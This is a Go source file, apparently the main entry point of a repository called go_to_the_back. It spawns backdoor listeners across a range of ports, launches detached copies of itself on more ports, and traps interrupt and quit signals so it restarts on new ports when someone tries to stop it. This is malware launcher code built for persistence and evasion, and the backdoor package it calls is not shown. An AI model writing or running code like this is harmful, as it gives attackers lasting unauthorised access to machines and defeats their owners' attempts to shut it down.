go_to_the_back/cmd/main.go

63 lines
1.2 KiB
Go

package main
import (
"flag"
"fmt"
"git.tcp.direct/bfu/go_to_the_back/backdoor"
"os"
"os/exec"
"os/signal"
"syscall"
)
var (
bindAddr = flag.String("addr", "127.0.0.1", "bind address")
startPort = flag.Int("ini", 2222, "starting port")
numPorts = flag.Int("amt", 5, "number of ports")
canReboot = flag.Bool("reboot", true, "if the processes can reboot")
)
func init() {
flag.Parse()
}
func main() {
dajumpaf:
for i := 0; i < *numPorts; i++ {
backdoor.New(*startPort + i)
}
for i, c := range backdoor.Copies {
bindArg := fmt.Sprintf("-addr=%d", bindAddr)
startArg := fmt.Sprintf("-ini=%d", *startPort+(i*100))
backdoor.Logger.Info().Msg(startArg)
command := &exec.Cmd{
Path: c,
Args: []string{c, bindArg, startArg, "&", "disown"},
}
// todo: orphan the children.
// todo: sysprocattr trying to start a fight rn.
go func() {
_ = command.Start()
}()
}
for _, door := range backdoor.Doors {
d := door
go func() {
err := d.Start()
backdoor.Logger.Err(err)
backdoor.Mut()
}()
}
sig := make(chan os.Signal, 1)
signal.Notify(sig, os.Interrupt, os.Kill, syscall.SIGSTOP, syscall.SIGQUIT)
<-sig
if *canReboot {
*startPort = *startPort + 10
goto dajumpaf
}
}